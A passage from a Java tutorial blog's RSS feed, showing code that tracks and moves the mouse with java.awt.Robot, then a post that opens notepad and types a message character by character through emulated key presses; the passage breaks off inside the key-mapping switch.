&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public void trackMouse(Robot r)  
      {  
           PointerInfo inf = MouseInfo.getPointerInfo();  
           Point p = inf.getLocation();  
           coordinate.setText(&quot;Mouse moved to (&quot;+p.x+&quot;,&quot;+p.y+&quot;)&quot;);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We use getPonterInfo method to extract the information about mouse pointer&lt;br /&gt;
2) We call getLocation to get current mouse coordinate&lt;br /&gt;
3) We update the JLabel on frame to the current coordinate of mouse.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.AWTException;  
 import java.awt.FlowLayout;  
 import java.awt.MouseInfo;  
 import java.awt.Point;  
 import java.awt.PointerInfo;  
 import java.awt.Robot;  
 import java.awt.event.InputEvent;  
 import javax.swing.JFrame;  
 import javax.swing.JLabel;  
 public class MouseControllerTracker{  
      JLabel coordinate=null;  
      final static int frameWidth=500;  
      final static int frameHeight=500;  
      static int frameStartPosX=0;  
      static int frameStartPosY=0;  
      static int frameEndPosX=0;  
      static int frameEndPosY=0;  
      static int mouseRecenterPosX=0;  
      static int mouseRecenterPosY=0;  
      public static void main(String[] args) {  
           try {  
           Robot r=new Robot();  
           MouseControllerTracker mt=new MouseControllerTracker();  
           JFrame f=mt.showFrame(frameWidth,frameHeight);  
           mt.trackFrame(f);  
           mt.moveFrameUsingMouse(r);  
           while(true)  
           {  
                mt.trackMouse(r);  
           }  
           } catch (AWTException e) {  
                System.out.println(&quot;There was an issue while instantiating Robot class &quot;+e.getMessage());  
           }  
      }  
      public JFrame showFrame(int frameWidth, int frameHeight)  
      {  
           JFrame f=new JFrame();  
           coordinate=new JLabel();  
           f.add(coordinate);  
           f.setSize(frameWidth, frameHeight);  
           f.setLayout(new FlowLayout(0));  
           f.setVisible(true);  
           f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
           return f;  
      }  
      public void trackFrame(JFrame f)  
      {  
           Point p=f.getLocationOnScreen();  
           frameStartPosX=p.x;  
           frameStartPosY=p.y;  
           frameEndPosX=frameStartPosX+frameWidth;  
           frameEndPosY=frameStartPosY+frameHeight;  
           mouseRecenterPosX=(frameStartPosX+frameEndPosX)/2;  
           mouseRecenterPosY=(frameStartPosY+frameEndPosY)/2;  
      }  
      public void moveFrameUsingMouse(Robot robot)  
      {  
           robot.mouseMove(mouseRecenterPosX, frameStartPosY+10);  
           robot.mousePress(InputEvent.BUTTON1_MASK);  
           for(int i=0;i&amp;lt;200;i++){  
                robot.mouseMove(mouseRecenterPosX+i, mouseRecenterPosY+i);  
                robot.delay(10);  
           }  
           robot.mouseRelease(InputEvent.BUTTON1_MASK);  
      }  
      public void trackMouse(Robot r)  
      {  
           PointerInfo inf = MouseInfo.getPointerInfo();  
           Point p = inf.getLocation();  
           coordinate.setText(&quot;Mouse moved to (&quot;+p.x+&quot;,&quot;+p.y+&quot;)&quot;);  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/global-tracking-and-controlling-your.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-5528608903411626793</guid><pubDate>Tue, 06 Dec 2016 12:40:00 +0000</pubDate><atom:updated>2016-12-07T21:03:10.200-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bot</category><category domain="http://www.blogger.com/atom/ns#">char</category><category domain="http://www.blogger.com/atom/ns#">emulate</category><category domain="http://www.blogger.com/atom/ns#">external</category><category domain="http://www.blogger.com/atom/ns#">game</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">key</category><category domain="http://www.blogger.com/atom/ns#">keyboard</category><category domain="http://www.blogger.com/atom/ns#">message</category><category domain="http://www.blogger.com/atom/ns#">notepad</category><category domain="http://www.blogger.com/atom/ns#">prank</category><category domain="http://www.blogger.com/atom/ns#">robot</category><category domain="http://www.blogger.com/atom/ns#">type</category><category domain="http://www.blogger.com/atom/ns#">virtual</category><title>Emulate keyboard keys using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This post will help you emulate your keyboard keys using Java. This program opens up notepad and start typing on notepad. The best part is we introduced delay after typing of each letter which makes it look like a bot is typing.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Features of program:&lt;/b&gt;&lt;br /&gt;
1) Program first runs notepad&lt;br /&gt;
3) Program will type a message letter by letter with small delay on notepad&lt;br /&gt;
4) For example it display a message &quot;Hi, Did you watch the Terminator. The second part was awesome.&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://stackoverflow.com/questions/1248510/convert-string-to-keyevents&quot;&gt;http://stackoverflow.com/questions/1248510/convert-string-to-keyevents&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Location:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/EmulateKeyboard&quot;&gt;https://github.com/csanuragjain/extra/tree/master/EmulateKeyboard&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Constructor:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; private Robot robot;  
   public EmulateKeyboard() throws AWTException {  
     this.robot = new Robot();  
   }  
   public EmulateKeyboard(Robot robot) {  
     this.robot = robot;  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) EmulateKeyboard is the name of class&lt;br /&gt;
2) Robot is a predefined class which actually provides the functionality of typing keyboard events&lt;br /&gt;
3) We define 2 constructor which instantiate the Robot class object.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;main method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; public static void main(String[] args) throws Exception {  
        Runtime.getRuntime().exec(&quot;notepad.exe&quot;);  
        EmulateKeyboard keyboard = new EmulateKeyboard();  
     keyboard.type(&quot;Hi, Did you watch the Terminator?\nThe second part was awesome.&quot;,50);  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We open notepad using Runtime.getRuntime.exec function&lt;br /&gt;
2) We make an object of our class and call the type function&lt;br /&gt;
3) type function take 2 argument&lt;br /&gt;
4) The first argument denote the message to be written&lt;br /&gt;
5) Second argument tells the delay belay typing of each letter of message to be printed.&lt;br /&gt;
6) So, program will open notepad and will start writing each letter of message with a delay of 50ms&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;type method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;   public void type(CharSequence characters,int delay) {  
     int length = characters.length();  
     for (int i = 0; i &amp;lt; length; i++) {  
       char character = characters.charAt(i);  
       typeChar(character);  
       this.robot.delay(delay);  
     }  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We convert the string into character array&lt;br /&gt;
2) For each character we call typeChar which actually types the character.&lt;br /&gt;
3) After the character is written we call the delay method of Robot class which introduces a delay of milliseconds passed in 2nd argument&lt;br /&gt;
4) After delay is completed next characters goes again through step2 &amp;amp; step3&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;typeChar method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;   public void typeChar(char character) {  
     switch (character) {  
     case &#39;a&#39;: doType(KeyEvent.VK_A); break;  
     case &#39;b&#39;: doType(KeyEvent.VK_B); break;  
     case &#39;c&#39;: doType(KeyEvent.VK_C); break;  
     case &#39;d&#39;: doType(KeyEvent.VK_D); break;  
     case &#39;e&#39;: doType(KeyEvent.VK_E); break;  
     case &#39;f&#39;: doType(KeyEvent.VK_F); break;  
     case &#39;g&#39;: doType(KeyEvent.VK_G); break;  
     case &#39;h&#39;: doType(KeyEvent.VK_H); break;  
     case &#39;i&#39;: doType(KeyEvent.VK_I); break;  
     case &#39;j&#39;: doType(KeyEvent.VK_J); break;  
     case &#39;k&#39;: doType(KeyEvent.VK_K); break;  
     case &#39;l&#39;: doType(KeyEvent.VK_L); break;  
     case &#39;m&#39;: doType(KeyEvent.VK_M); break;  
     case &#39;n&#39;: doType(KeyEvent.VK_N); break;  
     case &#39;o&#39;: doType(KeyEvent.VK_O); break;  
     case &#39;p&#39;: doType(KeyEvent.VK_P); break;  
     case &#39;q&#39;: doType(KeyEvent.VK_Q); break;  
     case &#39;r&#39;: doType(KeyEvent.VK_R); break;  
     case &#39;s&#39;: doType(KeyEvent.VK_S); break;  
     case &#39;t&#39;: doType(KeyEvent.VK_T); break;  
     case &#39;u&#39;: doType(KeyEvent.VK_U); break;  
     case &#39;v&#39;: doType(KeyEvent.VK_V); break;  
     case &#39;w&#39;: doType(KeyEvent.VK_W); break;  
     case &#39;x&#39;: doType(KeyEvent.VK_X); break;  
     case &#39;y&#39;: doType(KeyEvent.VK_Y); break;  
     case &#39;z&#39;: doType(KeyEvent.VK_Z); break;  
     case &#39;A&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_A); break;  
     case &#39;B&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_B); break;  
     case &#39;C&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_C); break;  
     case &#39;D&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_D); break;  
     case &#39;E&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_E); break;  
     case &#39;F&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_F); break;  
     case &#39;G&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_G); break;  
     case &#39;H&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_H); break;  
     case &#39;I&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_I); break;  
     case &#39;J&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_J); break;  
     case &#39;K&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_K); break;  
     case &#39;L&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_L); break;  
     case &#39;M&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_M); break;  
     case &#39;N&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_N); break;  
     case &#39;O&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_O); break;  
     case &#39;P&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_P); break;  
     case &#39;Q&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Q); break;  
     case &#39;R&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_R); break;  
     case &#39;S&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_S); break;  
     case &#39;T&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_T); break;  
     case &#39;U&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_U); break;  
     case &#39;V&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_V); break;  
     case &#39;W&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_W); break;  
     case &#39;X&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_X); break;  
     case &#39;Y&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Y); break;  
     case &#39;Z&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Z); break;  
     case &#39;`&#39;: doType(KeyEvent.VK_BACK_QUOTE); break;  
     case &#39;0&#39;: doType(KeyEvent.VK_0); break;  
     case &#39;1&#39;: doType(KeyEvent.VK_1); break;  
     case &#39;2&#39;: doType(KeyEvent.VK_2); break;  
     case &#39;3&#39;: doType(KeyEvent.VK_3); break;  
     case &#39;4&#39;: doType(KeyEvent.VK_4); break;  
     case &#39;5&#39;: doType(KeyEvent.VK_5); break;  
     case &#39;6&#39;: doType(KeyEvent.VK_6); break;  
     case &#39;7&#39;: doType(KeyEvent.VK_7); break;  
     case &#39;8&#39;: doType(KeyEvent.VK_8); break;  
     case &#39;9&#39;: doType(KeyEvent.VK_9); break;  
     case &#39;-&#39;: doType(KeyEvent.VK_MINUS); break;  
     case &#39;=&#39;: doType(KeyEvent.VK_EQUALS); break;  
     case &#39;~&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_BACK_QUOTE); break;  
     case &#39;!&#39;: doType(KeyEvent.VK_EXCLAMATION_MARK); break;  
     case &#39;@&#39;: doType(KeyEvent.VK_AT); break;  
     case &#39;#&#39;: doType(KeyEvent.VK_NUMBER_SIGN); break;  
     case &#39;$&#39;: doType(KeyEvent.VK_DOLLAR); break;  
     case &#39;%&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_5); break;  
     case &#39;^&#39;: doType(KeyEvent.VK_CIRCUMFLEX); break;  
     case &#39;&amp;amp;&#39;: doType(KeyEvent.VK_AMPERSAND); break;  
     case &#39;*&#39;: doType(KeyEvent.VK_ASTERISK); break;  
     case &#39;(&#39;: doType(KeyEvent.VK_LEFT_PARENTHESIS); break;  
     case &#39;)&#39;: doType(KeyEvent.VK_RIGHT_PARENTHESIS); break;  
     case &#39;_&#39;: doType(KeyEvent.VK_UNDERSCORE); break;  
     case &#39;+&#39;: doType(KeyEvent.VK_PLUS); break;  
     case &#39;\t&#39;: doType(KeyEvent.VK_TAB); break;  
     case &#39;\n&#39;: doType(KeyEvent.VK_ENTER); break;  
     case &#39;[&#39;: doType(KeyEvent.VK_OPEN_BRACKET); break;  
     case &#39;]&#39;: doType(KeyEvent.VK_CLOSE_BRACKET); break;  
     case &#39;\\&#39;: doType(KeyEvent.VK_BACK_SLASH); break;  
     case &#39;{&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_OPEN_BRACKET); break;  
     case &#39;}&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_CLOSE_BRACKET); break;  
     case &#39;|&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_BACK_SLASH); break;  
     case &#39;;&#39;: doType(KeyEvent.VK_SEMICOLON); break;  
     case &#39;:&#39;: doType(KeyEvent.VK_COLON); break;  
     case &#39;\&#39;&#39;: doType(KeyEvent.VK_QUOTE); break;  
     case &#39;&quot;&#39;: doType(KeyEvent.VK_QUOTEDBL); break;  
     case &#39;,&#39;: doType(KeyEvent.VK_COMMA); break;  
     case &#39;&amp;lt;&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_COMMA); break;  
     case &#39;.&#39;: doType(KeyEvent.VK_PERIOD); break;  
     case &#39;&amp;gt;&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_PERIOD); break;  
     case &#39;/&#39;: doType(KeyEvent.VK_SLASH); break;  
     case &#39;?&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_SLASH); break;  
     case &#39; &#39;: doType(KeyEvent.VK_SPACE); break;  
     default:  
       throw new IllegalArgumentException(&quot;Cannot type character &quot; + character);  
     }  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This method receives the character to be written&lt;br /&gt;
2) It passes the character to a simple switch&lt;br /&gt;
3) So for instance if character was &#39;a&#39; then first case will call&amp;nbsp;doType method with argument KeyEvent.VK_A&lt;br /&gt;
4) KeyEvent.VK_A is the keycode for letter &#39;a&#39;&lt;br /&gt;
5) For cases like &#39;A&#39; the trick is to pass 2 keys to be pressed which are&amp;nbsp;KeyEvent.VK_SHIFT &amp;amp;&amp;nbsp;KeyEvent.VK_A. This makes program to press shift+a which becomes A&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;doType method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;   protected void doType(int... keyCodes) {  
     doTypeChar(keyCodes, 0, keyCodes.length);  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This function obtains the keycode from typeChar function. Now this could be single value(&#39;a&#39;) or multiple keycodes (&#39;A&#39;)&lt;br /&gt;
2) This makes a call to dotypechar along with the keycodes and its start and offset value&lt;br /&gt;
3) Changing this function as protected so that it can be called by other classes.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;dotypeChar method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;   private void doTypeChar(int[] keyCodes, int offset, int length) {  
     if (length == 0) {  
       return;  
     }  
     robot.keyPress(keyCodes[offset]);  
     doTypeChar(keyCodes, offset + 1, length - 1);  
     robot.keyRelease(keyCodes[offset]);  
   }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This method finally writes the keycodes&lt;br /&gt;
2) First we check if the keycode length is not zero. If zero then nothing to do&lt;br /&gt;
3) keypress method comes with Robot class which emulates a key press. It takes the keycode to be typed&lt;br /&gt;
4) Here we call the keypress method and pass the keycode[0] we got in argument&lt;br /&gt;
5) We make a recursive call to doTypeChar so that if we have 2 keycodes like &#39;shift+a&#39; then shift had been taken care at step4 but for printing a we again need to make recursive call. In case this function was called to print only single keycode like for only letter &#39;a&#39; then recursive call to dotypechar will do nothing since length would be zero as checked in step2&lt;br /&gt;
6) Now we call keyrelease method of Robot class which releases the key pressed at previous step.&lt;br /&gt;
&lt;br /&gt;
You can also override the typeChar method to add more characters along with the old one&#39;s using below method in your subclass:&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;   @Override  
   public void typeChar(char character) {  
     switch (character) {  
     case &#39;a&#39;: doType(KeyEvent.VK_A); return;  
     }  
     super.typeChar(character);  
   }  &lt;/code&gt;&amp;nbsp;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwWf3mbj7_v6dAtrPWezU-SMfB1outWXBOY1-IjPHOrqwZaxd5ehxxldcj_zysGqSUE1suGZJEXHgo941cijk0LxmP8LF4mTd6SH1EMhFU4OOdcQOQxwxJUHiGOJDaPvBEF24I9RGVr8KR/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwWf3mbj7_v6dAtrPWezU-SMfB1outWXBOY1-IjPHOrqwZaxd5ehxxldcj_zysGqSUE1suGZJEXHgo941cijk0LxmP8LF4mTd6SH1EMhFU4OOdcQOQxwxJUHiGOJDaPvBEF24I9RGVr8KR/s320/Capture.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.AWTException;  
 import java.awt.Robot;  
 import java.awt.event.KeyEvent;  
 public class EmulateKeyboard {  
   private Robot robot;  
   public static void main(String[] args) throws Exception {  
        Runtime.getRuntime().exec(&quot;notepad.exe&quot;);  
        EmulateKeyboard keyboard = new EmulateKeyboard();  
     keyboard.type(&quot;Hi, Did you watch the Terminator?\nThe second part was awesome.&quot;,50);  
   }  
   public EmulateKeyboard() throws AWTException {  
     this.robot = new Robot();  
   }  
   public EmulateKeyboard(Robot robot) {  
     this.robot = robot;  
   }  
   public void type(CharSequence characters,int delay) {  
     int length = characters.length();  
     for (int i = 0; i &amp;lt; length; i++) {  
       char character = characters.charAt(i);  
       typeChar(character);  
       this.robot.delay(delay);  
     }  
   }  
   public void typeChar(char character) {  
     switch (character) {  
     case &#39;a&#39;: doType(KeyEvent.VK_A); break;  
     case &#39;b&#39;: doType(KeyEvent.VK_B); break;  
     case &#39;c&#39;: doType(KeyEvent.VK_C); break;  
     case &#39;d&#39;: doType(KeyEvent.VK_D); break;  
     case &#39;e&#39;: doType(KeyEvent.VK_E); break;  
     case &#39;f&#39;: doType(KeyEvent.VK_F); break;  
     case &#39;g&#39;: doType(KeyEvent.VK_G); break;  
     case &#39;h&#39;: doType(KeyEvent.VK_H); break;  
     case &#39;i&#39;: doType(KeyEvent.VK_I); break;  
     case &#39;j&#39;: doType(KeyEvent.VK_J); break;  
     case &#39;k&#39;: doType(KeyEvent.VK_K); break;  
     case &#39;l&#39;: doType(KeyEvent.VK_L); break;  
     case &#39;m&#39;: doType(KeyEvent.VK_M); break;  
     case &#39;n&#39;: doType(KeyEvent.VK_N); break;  
     case &#39;o&#39;: doType(KeyEvent.VK_O); break;  
     case &#39;p&#39;: doType(KeyEvent.VK_P); break;  
     case &#39;q&#39;: doType(KeyEvent.VK_Q); break;  
     case &#39;r&#39;: doType(KeyEvent.VK_R); break;  
     case &#39;s&#39;: doType(KeyEvent.VK_S); break;  
     case &#39;t&#39;: doType(KeyEvent.VK_T); break;  
     case &#39;u&#39;: doType(KeyEvent.VK_U); break;  
     case &#39;v&#39;: doType(KeyEvent.VK_V); break;  
     case &#39;w&#39;: doType(KeyEvent.VK_W); break;  
     case &#39;x&#39;: doType(KeyEvent.VK_X); break;  
     case &#39;y&#39;: doType(KeyEvent.VK_Y); break;  
     case &#39;z&#39;: doType(KeyEvent.VK_Z); break;  
     case &#39;A&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_A); break;  
     case &#39;B&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_B); break;  
     case &#39;C&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_C); break;  
     case &#39;D&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_D); break;  
     case &#39;E&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_E); break;  
     case &#39;F&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_F); break;  
     case &#39;G&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_G); break;  
     case &#39;H&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_H); break;  
     case &#39;I&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_I); break;  
     case &#39;J&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_J); break;  
     case &#39;K&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_K); break;  
     case &#39;L&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_L); break;  
     case &#39;M&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_M); break;  
     case &#39;N&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_N); break;  
     case &#39;O&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_O); break;  
     case &#39;P&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_P); break;  
     case &#39;Q&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Q); break;  
     case &#39;R&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_R); break;  
     case &#39;S&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_S); break;  
     case &#39;T&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_T); break;  
     case &#39;U&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_U); break;  
     case &#39;V&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_V); break;  
     case &#39;W&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_W); break;  
     case &#39;X&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_X); break;  
     case &#39;Y&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Y); break;  
     case &#39;Z&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_Z); break;  
     case &#39;`&#39;: doType(KeyEvent.VK_BACK_QUOTE); break;  
     case &#39;0&#39;: doType(KeyEvent.VK_0); break;  
     case &#39;1&#39;: doType(KeyEvent.VK_1); break;  
     case &#39;2&#39;: doType(KeyEvent.VK_2); break;  
     case &#39;3&#39;: doType(KeyEvent.VK_3); break;  
     case &#39;4&#39;: doType(KeyEvent.VK_4); break;  
     case &#39;5&#39;: doType(KeyEvent.VK_5); break;  
     case &#39;6&#39;: doType(KeyEvent.VK_6); break;  
     case &#39;7&#39;: doType(KeyEvent.VK_7); break;  
     case &#39;8&#39;: doType(KeyEvent.VK_8); break;  
     case &#39;9&#39;: doType(KeyEvent.VK_9); break;  
     case &#39;-&#39;: doType(KeyEvent.VK_MINUS); break;  
     case &#39;=&#39;: doType(KeyEvent.VK_EQUALS); break;  
     case &#39;~&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_BACK_QUOTE); break;  
     case &#39;!&#39;: doType(KeyEvent.VK_EXCLAMATION_MARK); break;  
     case &#39;@&#39;: doType(KeyEvent.VK_AT); break;  
     case &#39;#&#39;: doType(KeyEvent.VK_NUMBER_SIGN); break;  
     case &#39;$&#39;: doType(KeyEvent.VK_DOLLAR); break;  
     case &#39;%&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_5); break;  
